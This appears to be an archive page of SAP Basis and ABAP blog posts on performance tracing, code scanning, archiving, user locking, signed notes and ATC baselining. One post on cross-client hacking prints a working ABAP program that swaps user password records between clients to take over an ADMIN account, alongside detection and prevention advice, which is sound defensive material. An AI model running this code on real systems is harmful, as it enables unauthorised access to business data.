Code review – Page 4 – Saptechnicalguru.com

SAT ABAP runtime analysis

The SAT ABAP runtime analysis tool can be used to identify performance problems in ABAP programs.

Questions that will be answered in this blog are:

How to run the SAT tool?
How to read the results of the SAT tool?

Starting the SAT tool

The SAT ABAP runtime analysis tool can be started with transaction SAT:

Top left there is a Tips & Tricks button. This will bring you the to the following tool:

Here you can compare the optimal and not optimal way of coding. By hitting measure runtime button you can actually compare in real time the difference between the 2 methods.

The performance issue program

To test the tool, we first write a simple test program:

REPORT zperftest2.

DATA: zlt_vbak TYPE TABLE OF vbak.
DATA: zls_vbak TYPE vbak.
DATA: zlt_vbap TYPE TABLE OF vbap.
DATA: zls_vbap TYPE vbap.
DATA: zls_vbap2 TYPE vbap.

SELECT * FROM vbak INTO TABLE zlt_vbak UP TO 100 ROWS.

LOOP AT zlt_vbak INTO zls_vbak.
  SELECT * FROM vbap INTO zls_vbap.
    DO 10000 TIMES.
      zls_vbap2 = zls_vbap.
    ENDDO.
  ENDSELECT.
ENDLOOP.

Now we start the SAT tool, enter the program name. Make sure the tick box evaluate immediately is on and press Execute.

Now the measurement will start.

Result of the trace tool

The result of the trace tool is as follows:

On the left side you see the split in where the program spends it time. Here you can see that most of the time is spend on internal processing and not on SQL statements. SQL statement can be analyzed from the SAT tool or from the ST05 SQL trace tool.

By double clicking on the the internal access the right hand side of the screen is filled. Here you can see in which code blocks the most net and gross time is spent. It does not always point you to the exact statements that are not ok, but it can point you to the program that is causing the biggest delay.

In our case the DO 10000 TIMES loop is the performance killer. With only SQL tracing this cannot be found.

Runtime analysis for web applications

For runtime analysis for web applications, read this dedicated blog.

Relevant OSS notes

Check and if needed you can apply these OSS notes to solve bugs in the SAT tool:

2779153 – Export/Import not working for large ABAP traces in SAT

2825334 – Remove user specific time reference in transaction SAT (use of SY-ZONLO)

Analyzing code before upgrade or support package: CDMC toolset

This blog will explain on the use of the CDMC toolset you can run analyzing your custom code, before starting upgrade or support package.

CDMC toolset

Start transaction CNV_CDMC to goto the CDMC overview.

Goto ad hoc analysis:

Start SAP modification run

Wait for run to finish. If done, click the Display Results.

View results:

Setback of the modification overview: also OSS notes are marked as modifications.

Other useful runs: Syntax check and Inactive customer objects.

If you run these checks before an upgrade you can save quite some annoying issues during the upgrade itself.

OSS notes

Relevant OSS notes:

1316694 – FAQ: CDMC – Custom Development Management Cockpit

2772644 – ST-PI/CDMC: Clearing analysis alv error

SAP database growth control: data archiving business discussions

This blog addresses the main challenge in SAP data archiving for functional object: the discussions with the business.

This blog will give answers to the following questions:

When to start data archiving discussion with the business?
How to come to good retention periods?
What are arguments for not archiving certain data?

Data archiving discussion with the business

Unlike technical data deletion, functional data archiving cannot be done without proper business discussion and approval.

Depending on your business several aspects for data are important:

Auditing and Sox needs
Tax and legal retention periods
Product data requirement
And so on…..

Here are some rules of thumb you can use before considering to start up the business discussions about archiving:

Rule of thumb 1: the system is pretty new. At least wait 3 years to get an insight into which tables are growing fast and are worth to investigate for data archiving.

Rule of thumb 2: if your system is growing slowly, but the infrastructure capabilities grow faster: only perform technical clean up and don't even start functional data archiving.

Rule of thumb 3: if you are on HANA: use NSE (Native Storage Extension) or check if the data aging concept for functional objects is stable enough and without bugs. NSE and data aging does not require too much work, it is only technical and it does not require much business discussions. Data retrieval from end user perspective is transparent.

Data analysis before starting the discussion

If your system is growing fast and/or you are getting performance complaints, then you need to do proper data analysis before starting any business discussion.

Start with proper analysis on the data. Use the TAANA tool to get insights into the data: how is the distribution of data per document type, per year, per plant/company code etc. If you want to propose retention period of let’s say 5 years, you can use the TAANA results to show what percentage of data you can move out of the database.

Secondly: if you have an idea on which data you want to archive, first execute a trial run on a recent production copy. There might be functional blocks that prevent you from archiving data (like not closed documents).

Third important factor is the ease of data retrieval. Some object have a nice simple data retrieval function, and some are really terrible. If the retrieval is good, the business will more easily accept a shorter retention period. Read more on technical data retrieval in this blog.

As last step you can start the business case: how much data will be saved (and how much money hence will be save) and how much performance would be gain. And how much time is needed to be invested for setting up, checking (testing!) and running the data archiving runs.

In practice data archiving business case is only present in very large systems of 5 TB and larger. This sizing tipping point changes in time as hardware gets cheaper and hourly manpower costs go up.

The discussion itself

Take must time in planning for the discussion itself. It is not uncommon that archiving discussions take over a year to complete. The better you are prepared the easier the discussion. It also helps to have a few real performance pain points to get solved via data archiving. There is normally a business owner for this pain point who can help push data archiving.

Cross client access hacking

Most people underestimate how easy it is to gain access from one client to another client. This blog will explain how easy it is to do it.

Questions that will be answered in this blog are:

How to execute a cross client access hack?
How to detect this attack?
What preventive measures should I take to prevent this in my systems?

Cross client hack explained

You have gained access to a maintenance client by any method (most easy is standard users: see blog on this topic). Some basis and security people will waive this away and say: “by having access to client 066 the hacker cannot do anything, since the real business data is stored into a different client”.

So what the hacker will do is simple open the system client for ABAP coding (SCC4 client opening works from any client). Then he loads this simple program:

REPORT ZSWAPUSER. 

data: zls_usr02_1 type usr02. 
data: zls_usr02_2 type usr02. 
data: zls_usr02_t type usr02. 

parameters p_uname1 type usr02-bname. 
parameters p_mandt1 type sy-mandt. 
parameters p_mandt2 type sy-mandt.

select single * from usr02 client specified into zls_usr02_1 where bname eq p_uname1 and mandt = p_mandt1. 

select single * from usr02 client specified into zls_usr02_2 where bname eq p_uname1 and mandt = p_mandt2. 

zls_usr02_t = zls_usr02_1. zls_usr02_t-mandt = p_mandt2. modify usr02 client specified from zls_usr02_t. 
write sy-subrc. 

zls_usr02_t = zls_usr02_2. zls_usr02_t-mandt = p_mandt1. 
modify usr02 client specified from zls_usr02_t. 
write sy-subrc.

In the source client hacked a new user will be created. Let’s say the user ADMIN, which is also existing in the target client. The hacker creates the user ans sets the password in the source client he has access to. Now he runs the program. The program simply reads the password cross client (yes, ABAP can do cross client reading and updating), and then swaps them…..

After the swap the hacker will logon to the target client with the password he has set and enjoys all the roles from the user ADMIN. After he is done, he simply runs the program again. Then the old password is put back again.

Detecting this attack

Detecting this attack directly is very difficult. There are traces:

Client opening and closing in the source client
The presence of the ABAP code
The ABAP action in the source client’s audit log (you did switch on the audit log in all clients, didn’t you? And if you didn’t read this blog how to do it and execute it!)
ADMIN access from same terminal as the hacker is using to logon to the source client

Preventive measures

The following preventive measures can be taken:

Reset all standard passwords in all systems in all clients (see blog)
Delete no longer needed clients 001 and 066 (see blog)
Switch on audit logging in all clients (see blog)

Mass locking and end validity date of users

There are 2 good reasons for mass locking and ending validity date of user: security and licenses.

Questions that will be answered in this blog are:

How can I mass lock users automatically if they have not logged on for a certain time?
How can I mass set the validity date of the users that did not log on for a certain time?

Automatic lock of user after expired logon

In RZ11 you can set parameter login/password_max_idle_productive with an amount in days.

If the user (including yourself) did not logon to the system after this amount of days the password is still valid, but it does not allow you to logon.

If the user tries to logon after the period he will see this error message and cannot continue:

In SU01 such a user looks like this:

If you also want to automatically lock users after you give them a new password, use the parameter login/password_max_idle_initial.

Initial passwords is one of the nice ways of entering a system as hacker. Especially if the initial password used by the admin is more or less the same (like Welcome_1234!). Countermeasure: instruct your admins to use the Password Generator. This will generate long random once off password.

Mass setting of user validity date

For user measurement and security reasons you want to limit the validity period as well. Users who are locked still count for user measurement (see blog on license measurement tips & tricks). Users locked and unlocked by some method can be security threat.

Standard SAP program RSUSR_LOCK_USERS (built on top of program RSUSR200) is the tool to achieve this.

It has quite a long selection screen:

On the first block set the dates for last logon and password change to get a good selection of users.

On the second block very important to only select Dialog Users.

First run with Test Selection to get a list. If you are happy with the list, run it with Set End Of Validity Period.

OSS notes

Performance and bug notes (OSS search hints RSUSR200 and RSUSR_LOCK_USERS):

Scanning ABAP code: ABAP search tool

This blog will explain how to scan ABAP coding in search of a specific keyword or string. Many times older or badly written programs contain hard code logic like system ID’s, plant codes, movement types, order types etc. When a larger business change happens you need to find these codes in your ABAP code and act on them. This blog will explain how to do this search.

Questions that will be answered are:

How does the scan program work?
How to search for certain strings?
How to search for words in the comments?

ABAP search tool

You can start the ABAP search tool with transaction code CODE_SCANNER:

For testing 2 simple programs are written:

REPORT zscantest1.

IF syst-sysid EQ 'S4H'.
  WRITE: 'development system'.
ELSEIF syst-sysid EQ 'S4P'.
  WRITE: 'production system'.
ENDIF.

REPORT zscantest2.

DATA zt001w TYPE t001w.

SELECT SINGLE werks FROM t001w INTO zt001w.

IF zt001w-werks EQ 'DE01'.
  WRITE: 'German plant'.
ELSEIF zt001w-werks  EQ 'US01'.
* USA plant
  WRITE: 'US plant'.
ELSE.
  WRITE: 'diffferent plant'.
ENDIF.

If we now start a search with the word ‘S4H’ we get this result:

A hard coded SID.

If we search with ‘US01’ we get this result:

A hard coded plant.

If we search with ‘USA’ we get this result:

The word we were looking for is in the comment lines.

Search alternative program RS_ABAP_SOURCE_SCAN

In SAP note 2764076 – CODE_SCANNER not working properly, SAP explains that CODE_SCANNER might not always work for every release. They offer alternative program RS_ABAP_SOURCE_SCAN (there is no transaction code for this program, so start via SE38):

Bug fix notes:

ABAP code metric tool

There are many static code analysis tools. Long list can be found on Wikipedia. At some point in time a manager or developer might come to you with one of these tools like “hey, at my previous customer we used SonarABAP for code measurements”.

This blog will explain the ABAP code metric tool built into netweaver. Together with the ATC tool the code metric tool covers most of the functions that such tools deliver.

Questions that will be answered in this blog are:

How can I count the amount of lines of Z code in my SAP system?
How to run ABAP code metric tool?
What output will the ABAP code metric tool deliver?
Use cases of the ABAP code metric tool?

Test program

The test the code metric tool write a small ABAP program like this:

This program has nested IF statements (3 levels deep), one ELSE statement and a nested DO.

Code metric tool

Start the custom code analysis tools with transaction /SDF/CD_CCA:

The code metric tool is the tool on the bottom of the screen.

On the start screen select the package and extra checks (selecting more packages and checks will increase the runtime of the tool):

Result for our test program:

The output is giving:

LoC: lines of code
NoS: number of statements
NoC: number of comments
COM: complexity of conditions
TOTAL DD: complexity weighted by decision depth
etc
IF: 3 (this was in our test program)
ELSEIF: 1
DO: 2
etc like amount of loops, selects, updates, deletes, modifies, case statements.

Use cases of Code Metric Tool

Use case 1: complex programs

Complex programs are normally source of most productive issues. You can use the code tool to check if the program is not too overly complex (like many nested if and case statements).

Use case 2: the procedural versus OO discussion

Sometimes you have managers wanting you to count the amount of Z objects. If you have switched from procedural coding to OO coding you will find the amount of objects to have increased. The code metric tool can help you here by counting the amount of statements and complexity. The amount of objects in OO is typically higher, but due to re-use and better setup, the total amount of statements and the total complexity decision depth should be smaller.

Use case 3: count the amount of Z code lines in your SAP system

Every now and then there is discussion on Z code. Sometimes the question will popup: “How many lines of Z code do we have in our SAP system?”. This question you can answer as well with the code metric tool explained above.

For reference: SAP standard has 238 million lines of code (source is this SAP blog).

ABAP clone finder

This blog will explain the use of SAP clone finder.

Questions that will be answered in the blog are:

What are clones?
How to run the clone finder tool?
How to analyze the difference between the original and the clone?

What are clones?

Standard SAP offers lot of out-of-the-box functions and reports. But in many cases the standard report only offers 95%. What to do? In many cases developers copy the standard SAP program to Z copy and add the needed 5%. When upgrading the system to higher version or when applying support packages or OSS notes, the Z clone will not be upgraded to latest version. Maybe the clone needs updates as well, or can be deleted now after upgrade (if SAP added the missing 5%).

The clone finder tool is able to find the clones made in the past.

When you are doing a S4HANA conversion project (see blog) you will have to look again at these clones if they are still relevant or not.

Running the clone finder tool

The clone finder is part of the Custom Code Analysis workbench. Start the workbench with transaction /SDF/CD_CCA or transaction CCAPPS:

Clone finder is on top of the list.

Start screen of clone finder:

Pending on the size of your system you can run online or in batch.

Test result of standard SAP copy made as example:

As example program RSUSR003 and its includes were copied to Z programs. 3 are shown as identical copies. 1 is altered.

In the function link column you can hit the Version Compare button to see the differences:

Differences: the name of program and includes are different. And the authorization check was removed.

Relevant OSS notes

Useful OSS notes:

Digitally signed SAP notes

In the previous blog on SAP security notes you will see that security notes popup around “Digitally signed SAP notes”.

This blog will explain more on how to implement this.

Questions that will be answered in this blog are:

Why switch over to the new way?
How to implement the feature to download digitally signed SAP notes?
How to make the relevant settings?
Where to find more information?

Why switch over to the new way?

SAP keeps improving their security in all ways. Including OSS notes. There is no direct benefit. After downloading the OSS notes, the handling is identical for old and new way.

Switching over from current way of working to digitally signed SAP notes can be done any time.

SAP has announced the following: "Post January 1, 2020, the download and upload process will stop working unless Note Assistant (SNOTE transaction) is enabled in ABAP systems to work with digitally signed SAP Notes".

How to implement digitally signed SAP notes?

There are 2 basic ways to implement (you have to do only one):

Apply OSS notes 2508268, 2408073 and 2546220.
Apply TCI based OSS note 2576306, which contains all the notes (and manual work) in the notes mentioned in point 1. Your system needs to be able to handle TCI based OSS notes (see this blog on how to do this).
Follow the guided procedure

Guided enablement procedure

The guided procedure is the easiest way to apply and check the digitally signed OSS notes way of working.

Follow the instructions from OSS note 2836302 – Automated guided steps for enabling Note Assistant for TCI and Digitally Signed SAP Notes. Attached this note is an explanatory PDF document that describes all steps in detail. After installation of the OSS note (and prerequisite notes), you can run program RCWB_TCI_DIGITSIGN_AUTOMATION, which will guide you through the steps and verifies the results at the end:

Settings after implementation

If you have done the TCI based import a new customizing node is available:

The first one (direct program in SE38 is called RCWB_SNOTE_DWNLD_PROC_CONFIG) is to set the way of downloading:

The second one (direct program in SE38 is called RCWB_UNSIGNED_NOTE_CONFIG) is to allow only digitally signed SAP notes:

How to validate if the notes now are digitally signed?

To see if all is ok, download and implement a new OSS note. In the note log you can now see the digital signature download in the note log (in nice German words):

Known issue notes

Please read OSS note 2721941 – Download of digitally signed note – changes to configuration report and other minor changes carefully. It contains last minute fixes and changes.

Where to find more information?

More information can be found at the following sources:

2537133 – FAQ – Digitally Signed SAP Notes
Presentation on handling digitally signed SAP notes
SAP notes assistant page, section for digitally signed SAP notes
Full implementation presentation (including changes in RFC)

Use remote ATC for baselining Z code

In the previous blogs we have explain how to run ATC from central system to remote system. This will enable you to for example run the ATC against an older release, which doesn’t have the ATC tool capability.

But there is one other common issue with older systems: you have lots of existing legacy Z code. If you want to clean up or start with new guidelines the ATC is initially not helpful since it will give you lots of errors.

This blog will explain the concept of baselining the current Z code with an initial run to give you a clean start.

Questions that will be answered in this blog are:

How to setup the ATC baseline?
How to run the ATC baseline?
What are the known limitations of the ATC baseline functionality?

Setting the baseline

To set the baseline, first run a full ATC remote check. This will give many issues. In the ATC results screen select the run and press the button Baseline to mark the current results as baseline.

You can choose that the current results are simply suppressed, are treated as exemptions or are treated as low priority.

If you run ATC tool again, please make sure in your run variant that you now select the consider baseline tick box:

If you don’t change any coding in the remote system the next run of ATC should give you a clean run with no issues (in case you have chosen suppression).

ATC after baseline

In the remote system we now do 2 coding changes:

We had before the baseline a bad program called ZCRAP1. To this program we do a change.
We created a new program called ZCRAP2.

Now we run the ATC tool again with the baseline to ignore the baselined findings.

The ATC tool now finds issues in both the changed and the newly created program.

The unfortunate thing is that for the old program, it does not look at the newly added lines, but it looks at ALL the issued in the analyzed code (also the existing). 
This might lead to some surprise if you add 1 line to a 1000 line existing bad code: this will give lots of errors. It is up to you to decide to fix the existing errors or just exempt the existing ones.

Baseline suppression known issues

The baseline suppression has some known issue situations. These are listed in OSS note 2552932 – ATC: Baseline Does not Suppress all Findings.

Bug fix notes:

- 2609447 – ATC: Baseline seemingly not reliable

- 2609481 – ATC: Similar findings might not all be reported